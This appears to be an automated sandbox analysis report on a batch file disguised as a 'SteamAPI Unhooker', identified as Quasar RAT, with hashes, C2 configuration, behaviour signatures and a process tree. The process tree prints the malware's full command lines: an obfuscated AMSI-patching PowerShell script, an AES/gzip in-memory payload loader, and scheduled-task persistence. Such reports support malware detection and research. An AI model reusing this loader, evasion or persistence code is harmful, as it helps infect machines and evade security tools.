Analysis

  • max time kernel
    300s
  • max time network
    256s
  • platform
    windows10-1703_x64
  • resource
    win10-20240404-en
  • resource tags

    arch:x64arch:x86image:win10-20240404-enlocale:en-usos:windows10-1703-x64system
  • submitted
    28-05-2024 13:52

General

  • Target

    SteamAPI Unhooker.bat

  • Size

    1002KB

  • MD5

    f6d5bfaee8a55ff72c7b453fda066d62

  • SHA1

    7d737d53013990e5d05076b7206e43eb4793fc7f

  • SHA256

    3ff8b6a041a96625d730dfe770eb6e84be8ce99fc50a0027724e48394f053308

  • SHA512

    e300c15bef9e898e7abd4ecf6759c0e60829e8d9b507e257359b0c0342c56d56adf7924c76ffbbee4c42e1b1ea229b7032d177849d2668720090780190b7f284

  • SSDEEP

    12288:NzPPeJOTZMGuIl99I2FxGwvYXDSeengmfn5tKvy0H5JbcGfRZIJZ32hxnQxCGaF9:NDeYum99IGP8f2rRO5JFPIJZ8GaF8XmB

Malware Config

Extracted

Family

quasar

Attributes
  • reconnect_delay

    3000

Extracted

Family

quasar

Version

3.1.5

Botnet

Video

C2

runderscore00-25501.portmap.host:25501

Mutex

$Sxr-oWTh3ZS9htfe80iIl5

Attributes
  • encryption_key

    zK8u0rpHf4TJzGf65Flt

  • install_name

    Win11.exe

  • log_directory

    $sxr-Logs

  • reconnect_delay

    3000

  • startup_key

    Windows 11 Boot

  • subdirectory

    Win11

Signatures

  • Quasar RAT

    Quasar is an open source Remote Access Tool.

  • Quasar payload 4 IoCs
  • Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
  • Blocklisted process makes network request 3 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

    Run Powershell and hide display window.

  • Checks BIOS information in registry 2 TTPs 2 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Executes dropped EXE 2 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Drops file in System32 directory 15 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Checks processor information in registry 2 TTPs 6 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Creates scheduled task(s) 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Modifies data under HKEY_USERS 57 IoCs
  • Modifies registry class 1 IoCs
  • Runs ping.exe 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Windows\system32\winlogon.exe
    winlogon.exe
    1⤵
      PID:580
      • C:\Windows\system32\dwm.exe
        "dwm.exe"
        2⤵
          PID:1008
        • C:\Windows\System32\dllhost.exe
          C:\Windows\System32\dllhost.exe /Processid:{05d7a111-fc70-4e5f-bc1d-5268db5a4670}
          2⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of WriteProcessMemory
          PID:1056
      • C:\Windows\system32\lsass.exe
        C:\Windows\system32\lsass.exe
        1⤵
          PID:636
        • c:\windows\system32\svchost.exe
          c:\windows\system32\svchost.exe -k dcomlaunch -s PlugPlay
          1⤵
            PID:744
          • c:\windows\system32\svchost.exe
            c:\windows\system32\svchost.exe -k dcomlaunch -s LSM
            1⤵
              PID:908
            • c:\windows\system32\svchost.exe
              c:\windows\system32\svchost.exe -k netsvcs -s DsmSvc
              1⤵
                PID:304
              • c:\windows\system32\svchost.exe
                c:\windows\system32\svchost.exe -k netsvcs -s gpsvc
                1⤵
                  PID:488
                • c:\windows\system32\svchost.exe
                  c:\windows\system32\svchost.exe -k localservicenetworkrestricted -s lmhosts
                  1⤵
                    PID:692
                  • c:\windows\system32\svchost.exe
                    c:\windows\system32\svchost.exe -k localservicenetworkrestricted -s EventLog
                    1⤵
                    • Drops file in System32 directory
                    PID:1068
                  • c:\windows\system32\svchost.exe
                    c:\windows\system32\svchost.exe -k netsvcs -s Schedule
                    1⤵
                      PID:1088
                      • c:\windows\system32\taskhostw.exe
                        taskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}
                        2⤵
                          PID:3056
                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
                          C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:GltjFXMlvWca{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$oQWvtwOPduIOuT,[Parameter(Position=1)][Type]$aKAsteImeH)$NyuJkJekwgb=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+[Char](82)+''+[Char](101)+''+[Char](102)+''+'l'+''+[Char](101)+''+[Char](99)+'t'+[Char](101)+''+[Char](100)+''+[Char](68)+''+'e'+'le'+[Char](103)+'at'+[Char](101)+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+'I'+''+'n'+''+[Char](77)+''+[Char](101)+'m'+[Char](111)+''+[Char](114)+''+[Char](121)+''+[Char](77)+''+'o'+''+'d'+''+[Char](117)+''+'l'+'e',$False).DefineType(''+[Char](77)+''+[Char](121)+'D'+'e'+''+[Char](108)+'e'+[Char](103)+''+'a'+''+[Char](116)+'e'+[Char](84)+''+'y'+''+[Char](112)+''+[Char](101)+'','Cl'+'a'+''+[Char](115)+''+'s'+''+[Char](44)+''+[Char](80)+'u'+[Char](98)+''+[Char](108)+''+'i'+'c'+[Char](44)+''+'S'+''+[Char](101)+''+'a'+''+[Char](108)+''+[Char](101)+''+[Char](100)+''+','+'An'+[Char](115)+'iC'+[Char](108)+''+[Char](97)+''+[Char](115)+'s'+[Char](44)+'A'+[Char](117)+''+[Char](116)+'oCl'+[Char](97)+''+[Char](115)+''+[Char](115)+'',[MulticastDelegate]);$NyuJkJekwgb.DefineConstructor('R'+[Char](84)+'S'+[Char](112)+''+[Char](101)+'ci'+[Char](97)+''+[Char](108)+''+'N'+'a'+[Char](109)+''+'e'+',H'+'i'+''+'d'+''+'e'+''+'B'+''+'y'+''+[Char](83)+''+[Char](105)+''+[Char](103)+''+[Char](44)+''+[Char](80)+''+'u'+''+[Char](98)+'l'+'i'+''+'c'+'',[Reflection.CallingConventions]::Standard,$oQWvtwOPduIOuT).SetImplementationFlags(''+[Char](82)+''+[Char](117)+'n'+[Char](116)+'i'+[Char](109)+''+[Char](101)+''+[Char](44)+''+'M'+''+'a'+''+'n'+''+[Char](97)+'g'+'e'+''+[Char](100)+'');$NyuJkJekwgb.DefineMethod(''+[Char](73)+''+[Char](110)+''+'v'+''+[Char](111)+''+'k'+''+'e'+'','P'+[Char](117)+''+[Char](98)+''+[Char](108)+''+[Char](105)+''+[Char](99)+''+','+''+[Char](72)+'i'+[Char](100)+''+'e'+''+'B'+'y'+[Char](83)+''+[Char](105)+''+'g'+''+[Char](44)+''+[Char](78)+''+[Char](101)+'w'+[Char](83)+''+'l'+''+[Char](111)+''+[Char](116)+','+[Char](86)+''+[Char](105)+'r'+[Char](116)+''+'u'+''+[Char](97)+''+[Char](108)+'',$aKAsteImeH,$oQWvtwOPduIOuT).SetImplementationFlags(''+'R'+''+'u'+''+[Char](110)+''+[Char](116)+''+[Char](105)+'me'+[Char](44)+'Ma'+[Char](110)+''+[Char](97)+''+[Char](103)+''+[Char](101)+'d');Write-Output $NyuJkJekwgb.CreateType();}$LfhTNAavYhWOb=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals('S'+[Char](121)+''+[Char](115)+''+[Char](116)+''+[Char](101)+''+'m'+''+[Char](46)+'d'+'l'+''+'l'+'')}).GetType(''+'M'+''+'i'+''+[Char](99)+''+[Char](114)+''+[Char](111)+'so'+'f'+'t'+[Char](46)+''+[Char](87)+''+[Char](105)+''+[Char](110)+''+'3'+''+[Char](50)+''+[Char](46)+''+[Char](85)+'nsa'+'f'+''+[Char](101)+''+'N'+''+[Char](97)+''+[Char](116)+'i'+[Char](118)+''+[Char](101)+''+[Char](77)+''+[Char](101)+''+'t'+''+[Char](104)+''+[Char](111)+''+[Char](100)+''+[Char](115)+'');$tkVTlkSrYoAqOX=$LfhTNAavYhWOb.GetMethod('G'+[Char](101)+''+[Char](116)+''+'P'+''+[Char](114)+''+'o'+''+[Char](99)+''+[Char](65)+'d'+'d'+''+[Char](114)+''+'e'+''+[Char](115)+''+[Char](115)+'',[Reflection.BindingFlags](''+[Char](80)+''+[Char](117)+''+[Char](98)+''+'l'+'ic'+[Char](44)+''+'S'+''+'t'+''+[Char](97)+'t'+[Char](105)+'c'),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$SaSEcIxCuVAlKzbddjk=GltjFXMlvWca @([String])([IntPtr]);$HmdVDdXquEAWmDMjvpbgoO=GltjFXMlvWca @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$QHlCTCWFNUf=$LfhTNAavYhWOb.GetMethod(''+[Char](71)+''+[Char](101)+'tM'+[Char](111)+''+[Char](100)+''+[Char](117)+''+[Char](108)+''+'e'+'Ha'+[Char](110)+''+'d'+''+'l'+''+[Char](101)+'').Invoke($Null,@([Object](''+'k'+'e'+[Char](114)+''+[Char](110)+''+'e'+''+'l'+''+[Char](51)+''+'2'+''+[Char](46)+'d'+[Char](108)+''+[Char](108)+'')));$XKyNmjxQMiAFWU=$tkVTlkSrYoAqOX.Invoke($Null,@([Object]$QHlCTCWFNUf,[Object]('L'+[Char](111)+''+[Char](97)+''+[Char](100)+'L'+[Char](105)+''+'b'+'r'+[Char](97)+'r'+'y'+''+'A'+'')));$bWzSjKjhbzFNVvjjH=$tkVTlkSrYoAqOX.Invoke($Null,@([Object]$QHlCTCWFNUf,[Object](''+'V'+'i'+[Char](114)+'t'+'u'+''+'a'+''+[Char](108)+''+[Char](80)+''+[Char](114)+''+[Char](111)+'t'+[Char](101)+''+[Char](99)+''+[Char](116)+'')));$fMTzYjj=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($XKyNmjxQMiAFWU,$SaSEcIxCuVAlKzbddjk).Invoke('a'+'m'+''+'s'+'i'+'.'+''+[Char](100)+''+[Char](108)+''+[Char](108)+'');$FHYpRawSnVPHrnDIR=$tkVTlkSrYoAqOX.Invoke($Null,@([Object]$fMTzYjj,[Object](''+'A'+''+'m'+'s'+[Char](105)+'S'+'c'+'a'+[Char](110)+''+'B'+''+[Char](117)+''+[Char](102)+''+[Char](102)+'er')));$sKIdMnejxT=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($bWzSjKjhbzFNVvjjH,$HmdVDdXquEAWmDMjvpbgoO).Invoke($FHYpRawSnVPHrnDIR,[uint32]8,4,[ref]$sKIdMnejxT);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$FHYpRawSnVPHrnDIR,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($bWzSjKjhbzFNVvjjH,$HmdVDdXquEAWmDMjvpbgoO).Invoke($FHYpRawSnVPHrnDIR,[uint32]8,0x20,[ref]$sKIdMnejxT);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+''+[Char](79)+''+[Char](70)+'T'+[Char](87)+'A'+'R'+'E').GetValue(''+'$'+'77'+'s'+''+[Char](116)+''+[Char](97)+''+[Char](103)+'e'+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)"
                          2⤵
                          • Suspicious use of NtCreateUserProcessOtherParentProcess
                          • Drops file in System32 directory
                          • Suspicious use of SetThreadContext
                          • Modifies data under HKEY_USERS
                          • Suspicious behavior: EnumeratesProcesses
                          • Suspicious use of WriteProcessMemory
                          PID:4072
                      • c:\windows\system32\svchost.exe
                        c:\windows\system32\svchost.exe -k netsvcs -s ProfSvc
                        1⤵
                          PID:1132
                        • c:\windows\system32\svchost.exe
                          c:\windows\system32\svchost.exe -k localsystemnetworkrestricted -s NcbService
                          1⤵
                            PID:1140
                          • c:\windows\system32\svchost.exe
                            c:\windows\system32\svchost.exe -k localservice -s nsi
                            1⤵
                              PID:1208
                            • c:\windows\system32\svchost.exe
                              c:\windows\system32\svchost.exe -k netsvcs -s UserManager
                              1⤵
                                PID:1292
                                • c:\windows\system32\sihost.exe
                                  sihost.exe
                                  2⤵
                                    PID:2952
                                • c:\windows\system32\svchost.exe
                                  c:\windows\system32\svchost.exe -k localservicenetworkrestricted -s Dhcp
                                  1⤵
                                    PID:1324
                                  • c:\windows\system32\svchost.exe
                                    c:\windows\system32\svchost.exe -k localservice -s EventSystem
                                    1⤵
                                      PID:1388
                                    • c:\windows\system32\svchost.exe
                                      c:\windows\system32\svchost.exe -k netsvcs -s Themes
                                      1⤵
                                        PID:1396
                                      • c:\windows\system32\svchost.exe
                                        c:\windows\system32\svchost.exe -k networkservice -s NlaSvc
                                        1⤵
                                          PID:1496
                                        • c:\windows\system32\svchost.exe
                                          c:\windows\system32\svchost.exe -k networkservice -s Dnscache
                                          1⤵
                                            PID:1548
                                          • c:\windows\system32\svchost.exe
                                            c:\windows\system32\svchost.exe -k netsvcs -s SENS
                                            1⤵
                                              PID:1556
                                            • c:\windows\system32\svchost.exe
                                              c:\windows\system32\svchost.exe -k localsystemnetworkrestricted -s AudioEndpointBuilder
                                              1⤵
                                                PID:1604
                                              • c:\windows\system32\svchost.exe
                                                c:\windows\system32\svchost.exe -k localservice -s netprofm
                                                1⤵
                                                  PID:1620
                                                • C:\Windows\System32\svchost.exe
                                                  C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted
                                                  1⤵
                                                    PID:1732
                                                  • C:\Windows\System32\svchost.exe
                                                    C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted
                                                    1⤵
                                                      PID:1796
                                                    • C:\Windows\system32\svchost.exe
                                                      C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted
                                                      1⤵
                                                        PID:1836
                                                      • c:\windows\system32\svchost.exe
                                                        c:\windows\system32\svchost.exe -k appmodel -s StateRepository
                                                        1⤵
                                                          PID:1900
                                                        • c:\windows\system32\svchost.exe
                                                          c:\windows\system32\svchost.exe -k netsvcs -s ShellHWDetection
                                                          1⤵
                                                            PID:1992
                                                          • C:\Windows\System32\spoolsv.exe
                                                            C:\Windows\System32\spoolsv.exe
                                                            1⤵
                                                              PID:1308
                                                            • c:\windows\system32\svchost.exe
                                                              c:\windows\system32\svchost.exe -k networkservice -s LanmanWorkstation
                                                              1⤵
                                                                PID:2080
                                                              • c:\windows\system32\svchost.exe
                                                                c:\windows\system32\svchost.exe -k netsvcs -s IKEEXT
                                                                1⤵
                                                                  PID:2256
                                                                • c:\windows\system32\svchost.exe
                                                                  c:\windows\system32\svchost.exe -k netsvcs -s LanmanServer
                                                                  1⤵
                                                                    PID:2272
                                                                  • c:\windows\system32\svchost.exe
                                                                    c:\windows\system32\svchost.exe -k networkservicenetworkrestricted -s PolicyAgent
                                                                    1⤵
                                                                      PID:2288
                                                                    • c:\windows\system32\svchost.exe
                                                                      c:\windows\system32\svchost.exe -k networkservice -s CryptSvc
                                                                      1⤵
                                                                      • Drops file in System32 directory
                                                                      PID:2388
                                                                    • C:\Windows\sysmon.exe
                                                                      C:\Windows\sysmon.exe
                                                                      1⤵
                                                                        PID:2408
                                                                      • c:\windows\system32\svchost.exe
                                                                        c:\windows\system32\svchost.exe -k appmodel -s tiledatamodelsvc
                                                                        1⤵
                                                                          PID:2424
                                                                        • c:\windows\system32\svchost.exe
                                                                          c:\windows\system32\svchost.exe -k localsystemnetworkrestricted -s TrkWks
                                                                          1⤵
                                                                            PID:2432
                                                                          • c:\windows\system32\svchost.exe
                                                                            c:\windows\system32\svchost.exe -k netsvcs -s Winmgmt
                                                                            1⤵
                                                                              PID:2444
                                                                            • c:\windows\system32\svchost.exe
                                                                              c:\windows\system32\svchost.exe -k netsvcs -s WpnService
                                                                              1⤵
                                                                                PID:2476
                                                                              • c:\windows\system32\svchost.exe
                                                                                c:\windows\system32\svchost.exe -k netsvcs -s Browser
                                                                                1⤵
                                                                                  PID:2548
                                                                                • c:\windows\system32\svchost.exe
                                                                                  c:\windows\system32\svchost.exe -k unistacksvcgroup -s CDPUserSvc
                                                                                  1⤵
                                                                                    PID:2944
                                                                                  • C:\Windows\system32\wbem\unsecapp.exe
                                                                                    C:\Windows\system32\wbem\unsecapp.exe -Embedding
                                                                                    1⤵
                                                                                      PID:2980
                                                                                    • c:\windows\system32\svchost.exe
                                                                                      c:\windows\system32\svchost.exe -k netsvcs -s TokenBroker
                                                                                      1⤵
                                                                                        PID:3188
                                                                                      • C:\Windows\Explorer.EXE
                                                                                        C:\Windows\Explorer.EXE
                                                                                        1⤵
                                                                                          PID:3284
                                                                                          • C:\Windows\system32\cmd.exe
                                                                                            C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\SteamAPI Unhooker.bat"
                                                                                            2⤵
                                                                                            • Suspicious use of WriteProcessMemory
                                                                                            PID:4904
                                                                                            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                              "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('F+5wamWtVzd3aK2bnS7nWh4XV0PZc2pVZ9YG0yRK5cI='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('lnHVCKXb70Ny+fnCAwMhpw=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $fLkgt=New-Object System.IO.MemoryStream(,$param_var); $wtCVF=New-Object System.IO.MemoryStream; $XRlUB=New-Object System.IO.Compression.GZipStream($fLkgt, [IO.Compression.CompressionMode]::Decompress); $XRlUB.CopyTo($wtCVF); $XRlUB.Dispose(); $fLkgt.Dispose(); $wtCVF.Dispose(); $wtCVF.ToArray();}function execute_function($param_var,$param2_var){ $PEWwL=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $iVLBa=$PEWwL.EntryPoint; $iVLBa.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\SteamAPI Unhooker.bat';$OJTBF=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\SteamAPI Unhooker.bat').Split([Environment]::NewLine);foreach ($Wvrxg in $OJTBF) { if ($Wvrxg.StartsWith(':: ')) { $TvDjF=$Wvrxg.Substring(3); break; }}$payloads_var=[string[]]$TvDjF.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
                                                                                              3⤵
                                                                                              • Command and Scripting Interpreter: PowerShell
                                                                                              • Modifies registry class
                                                                                              • Suspicious behavior: EnumeratesProcesses
                                                                                              • Suspicious use of AdjustPrivilegeToken
                                                                                              • Suspicious use of WriteProcessMemory
                                                                                              PID:4628
                                                                                              • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'RuntimeBroker_startup_817_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\startup_str_817.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
                                                                                                4⤵
                                                                                                • Command and Scripting Interpreter: PowerShell
                                                                                                • Suspicious behavior: EnumeratesProcesses
                                                                                                • Suspicious use of AdjustPrivilegeToken
                                                                                                PID:4884
                                                                                              • C:\Windows\SysWOW64\WScript.exe
                                                                                                "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\startup_str_817.vbs"
                                                                                                4⤵
                                                                                                • Suspicious use of WriteProcessMemory
                                                                                                PID:4564
                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\startup_str_817.bat" "
                                                                                                  5⤵
                                                                                                  • Suspicious use of WriteProcessMemory
                                                                                                  PID:3780
                                                                                                  • C:\Windows\System32\Conhost.exe
                                                                                                    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                    6⤵
                                                                                                      PID:4716
                                                                                                    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                      "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('F+5wamWtVzd3aK2bnS7nWh4XV0PZc2pVZ9YG0yRK5cI='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('lnHVCKXb70Ny+fnCAwMhpw=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $fLkgt=New-Object System.IO.MemoryStream(,$param_var); $wtCVF=New-Object System.IO.MemoryStream; $XRlUB=New-Object System.IO.Compression.GZipStream($fLkgt, [IO.Compression.CompressionMode]::Decompress); $XRlUB.CopyTo($wtCVF); $XRlUB.Dispose(); $fLkgt.Dispose(); $wtCVF.Dispose(); $wtCVF.ToArray();}function execute_function($param_var,$param2_var){ $PEWwL=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $iVLBa=$PEWwL.EntryPoint; $iVLBa.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Roaming\startup_str_817.bat';$OJTBF=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Roaming\startup_str_817.bat').Split([Environment]::NewLine);foreach ($Wvrxg in $OJTBF) { if ($Wvrxg.StartsWith(':: ')) { $TvDjF=$Wvrxg.Substring(3); break; }}$payloads_var=[string[]]$TvDjF.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
                                                                                                      6⤵
                                                                                                      • Blocklisted process makes network request
                                                                                                      • Command and Scripting Interpreter: PowerShell
                                                                                                      • Suspicious behavior: EnumeratesProcesses
                                                                                                      • Suspicious use of SetWindowsHookEx
                                                                                                      • Suspicious use of WriteProcessMemory
                                                                                                      PID:4616
                                                                                                      • C:\Users\Admin\AppData\Local\Temp\Install.exe
                                                                                                        "C:\Users\Admin\AppData\Local\Temp\Install.exe"
                                                                                                        7⤵
                                                                                                        • Executes dropped EXE
                                                                                                        PID:4444
                                                                                                      • C:\Users\Admin\AppData\Local\Temp\New.exe
                                                                                                        "C:\Users\Admin\AppData\Local\Temp\New.exe"
                                                                                                        7⤵
                                                                                                        • Executes dropped EXE
                                                                                                        • Suspicious use of WriteProcessMemory
                                                                                                        PID:4264
                                                                                                        • C:\Windows\SysWOW64\SCHTASKS.exe
                                                                                                          "SCHTASKS.exe" /create /tn "$77New.exe" /tr "'C:\Users\Admin\AppData\Local\Temp\New.exe'" /sc onlogon /rl HIGHEST
                                                                                                          8⤵
                                                                                                          • Creates scheduled task(s)
                                                                                                          PID:4528
                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\SybViDMmHlQl.bat" "
                                                                                                        7⤵
                                                                                                          PID:3636
                                                                                                          • C:\Windows\System32\Conhost.exe
                                                                                                            \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                            8⤵
                                                                                                              PID:2812
                                                                                                            • C:\Windows\SysWOW64\chcp.com
                                                                                                              chcp 65001
                                                                                                              8⤵
                                                                                                                PID:4244
                                                                                                              • C:\Windows\SysWOW64\PING.EXE
                                                                                                                ping -n 10 localhost
                                                                                                                8⤵
                                                                                                                • Runs ping.exe
                                                                                                                PID:3440
                                                                                                • C:\Windows\System32\RuntimeBroker.exe
                                                                                                  C:\Windows\System32\RuntimeBroker.exe -Embedding
                                                                                                  1⤵
                                                                                                    PID:3796
                                                                                                  • C:\Windows\system32\DllHost.exe
                                                                                                    C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
                                                                                                    1⤵
                                                                                                      PID:4012
                                                                                                    • c:\windows\system32\svchost.exe
                                                                                                      c:\windows\system32\svchost.exe -k localservice -s CDPSvc
                                                                                                      1⤵
                                                                                                        PID:4740
                                                                                                      • c:\windows\system32\svchost.exe
                                                                                                        c:\windows\system32\svchost.exe -k localserviceandnoimpersonation -s SSDPSRV
                                                                                                        1⤵
                                                                                                          PID:3792
                                                                                                        • C:\Windows\system32\svchost.exe
                                                                                                          C:\Windows\system32\svchost.exe -k LocalService -s WinHttpAutoProxySvc
                                                                                                          1⤵
                                                                                                          • Modifies data under HKEY_USERS
                                                                                                          PID:4116
                                                                                                        • C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe
                                                                                                          "C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service
                                                                                                          1⤵
                                                                                                          • Drops file in System32 directory
                                                                                                          • Modifies data under HKEY_USERS
                                                                                                          PID:2472
                                                                                                        • c:\windows\system32\svchost.exe
                                                                                                          c:\windows\system32\svchost.exe -k netsvcs -s wlidsvc
                                                                                                          1⤵
                                                                                                            PID:4636
                                                                                                          • C:\Windows\system32\DllHost.exe
                                                                                                            C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
                                                                                                            1⤵
                                                                                                              PID:4552
                                                                                                            • C:\Windows\system32\ApplicationFrameHost.exe
                                                                                                              C:\Windows\system32\ApplicationFrameHost.exe -Embedding
                                                                                                              1⤵
                                                                                                                PID:1760
                                                                                                              • C:\Windows\System32\InstallAgent.exe
                                                                                                                C:\Windows\System32\InstallAgent.exe -Embedding
                                                                                                                1⤵
                                                                                                                  PID:1316
                                                                                                                • C:\Windows\system32\DllHost.exe
                                                                                                                  C:\Windows\system32\DllHost.exe /Processid:{973D20D7-562D-44B9-B70B-5A0F49CCDF3F}
                                                                                                                  1⤵
                                                                                                                    PID:3212
                                                                                                                  • C:\Windows\sysWOW64\wbem\wmiprvse.exe
                                                                                                                    C:\Windows\sysWOW64\wbem\wmiprvse.exe -secured -Embedding
                                                                                                                    1⤵
                                                                                                                      PID:1452
                                                                                                                    • C:\Windows\system32\wbem\wmiprvse.exe
                                                                                                                      C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
                                                                                                                      1⤵
                                                                                                                      • Checks BIOS information in registry
                                                                                                                      • Checks processor information in registry
                                                                                                                      PID:776

                                                                                                                    Network

                                                                                                                    MITRE ATT&CK Enterprise v15

                                                                                                                    Replay Monitor

                                                                                                                    Loading Replay Monitor...

                                                                                                                    Downloads

                                                                                                                    • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

                                                                                                                      Filesize

                                                                                                                      2KB

                                                                                                                      MD5

                                                                                                                      ac3d19fbb5c5f10833f1882308f77548

                                                                                                                      SHA1

                                                                                                                      ac880466fd99a5719fedc7289b00d78ba7088e06

                                                                                                                      SHA256

                                                                                                                      3353b90af649198e084632af776f8c6ea3a9302da5a50d85f7ecde1c7ad295df

                                                                                                                      SHA512

                                                                                                                      b5e6369d7f475e9931d19fb2a5305b4c901ca5fcac5d788d064b6a1b1d6de2034e84932ac243d5056c745b924a2e9537a06b4172fab364402263788c814bc28b

                                                                                                                    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                                                                                                      Filesize

                                                                                                                      17KB

                                                                                                                      MD5

                                                                                                                      465ec9d670c5e7cc2338a821a9cbaefe

                                                                                                                      SHA1

                                                                                                                      9ce43163c45051a781fed07a659f849ab21b7835

                                                                                                                      SHA256

                                                                                                                      6b7d75bf8fc573cc3e2ebb16b6dc634821e93c172157a890daa71c24838632b2

                                                                                                                      SHA512

                                                                                                                      1062dedbf1fc15bf717149ad56b7d7d8ab7391f4da350314a1c7221cee391f8358b3a5a3fb109349ee9cde69fd4d0a0a6a3ad25df1b8ba380c9b9dd16ceb7e2c

                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\Install.exe

                                                                                                                      Filesize

                                                                                                                      163KB

                                                                                                                      MD5

                                                                                                                      b51552b77057c2405f73bbbf9c89234a

